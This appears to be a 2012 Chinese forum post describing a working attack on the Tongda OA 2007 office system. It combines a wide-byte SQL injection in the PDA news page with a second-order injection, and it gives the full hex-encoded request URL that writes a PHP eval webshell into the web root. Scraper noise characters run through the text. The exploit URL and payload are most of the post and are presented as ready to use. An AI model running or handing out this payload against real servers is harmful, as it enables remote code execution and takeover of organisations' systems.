目前测试通达OA2007版本
9 d y$ b% K" b% G0 j# o( F1 `) U6 k* g1 p2 Y2 G E, t
' s6 G1 J# D8 x, v
Office Anywhere 2007 网络智能办公系统
' F- D% j0 {0 W, T
' h2 v j; E# H3 E2 D0 Thttp://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..8 \3 m' k! m1 d1 ^* B
/ u5 l2 `. }- p Z: O. [
4 A4 F w: t' W2 E0 H. w% V" K这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的
( F3 P/ O- g+ W) o' D$ g + H' k( X) D) v' L* y0 \
例如：SELECT * from USER where USER_ID='{$USERNAME}'
6 p7 A% Q1 a# q/ {3 G& N其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了/ o$ C! c# M' J# Y
# A' @8 P9 O) K
这个时候我们是不是可以组合起来使用哪？
: d6 }% `0 e- t! C3 z8 ~! {! E 7 T) y6 p# i: E2 h) H4 |1 T. V
第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样. N6 G2 {/ O/ L l/ o7 L3 M# `3 u
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10
8 n% m) c# {+ I D. F ; N2 s3 Z4 x; P, }8 D
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了
9 r/ a! e" d4 K( c% b8 k
9 \3 `* _6 u6 T$ Z0 `0 F0 C2 X) h那么问题来了，单引号可以吗？当然是不可以的，^_^。。。1 q% C! i( h {' }
9 s3 |: I! \# E6 J- l; M
那么我们用字符串格式带入进行hex编码
G, _; l1 i0 |, C; O( N5 T& e
7 E9 b, c) w$ ~6 J( y* u%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
2 [: Z, [& J8 D5 x; T8 i; W+ E - U# L) J1 F V, U$ J
测试ok，获取oa的webshell
) w0 m5 |. D" D$ k% H$ n9 V : `; T; [" {; B* Y# b
; N$ z: M3 X: y7 u: P
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
8 W% ]% W$ j, J1 h直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对